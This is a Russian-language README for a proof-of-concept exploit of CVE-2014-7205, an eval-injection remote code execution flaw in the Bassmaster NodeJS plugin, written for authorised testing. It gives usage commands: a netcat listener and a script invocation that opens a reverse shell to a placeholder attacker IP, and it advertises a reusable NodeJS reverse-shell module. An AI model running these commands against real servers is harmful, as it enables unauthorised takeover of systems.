Bassmaster NodeJS Plugin RCE PoC

bassmaster-rce.py: Python-скрипт для эксплуатации CVE-2014-7205. nodeshell.py: Python-модуль для создания reverse shell для NodeJS

!!Используйте только против серверов, на которые у вас есть разрешение тестировать

Краткое описание

CVE-2014-7205 — это уязвимость удаленного выполнения кода в плагине Bassmaster для NodeJS. Затронуты все версии <= 1.5.1. Уязвимость существует в файле lib/batch.js в функции internals.batch, где вызов eval() использует неправильно экранированный пользовательский ввод (по сути, регулярное выражение не проверяет, содержат ли запросы вредоносный код).

Доказательство концепции

1. Скачайте или клонируйте git-репозиторий
2. Откройте netcat listener в bash-терминале nc -lvp 4444
3. Убедитесь, что bassmaster-rce.py и nodeshell.py находятся в одной папке
4. Запустите bassmaster-rce.py python3 bassmaster-rce.py -u http://target -p 8080 -l attacker.ip -P 4444

Прочее

• nodeshell.py полностью переносим на другие PoC и эксплойты, использующие Python, которым также необходимо создать reverse shell для NodeJS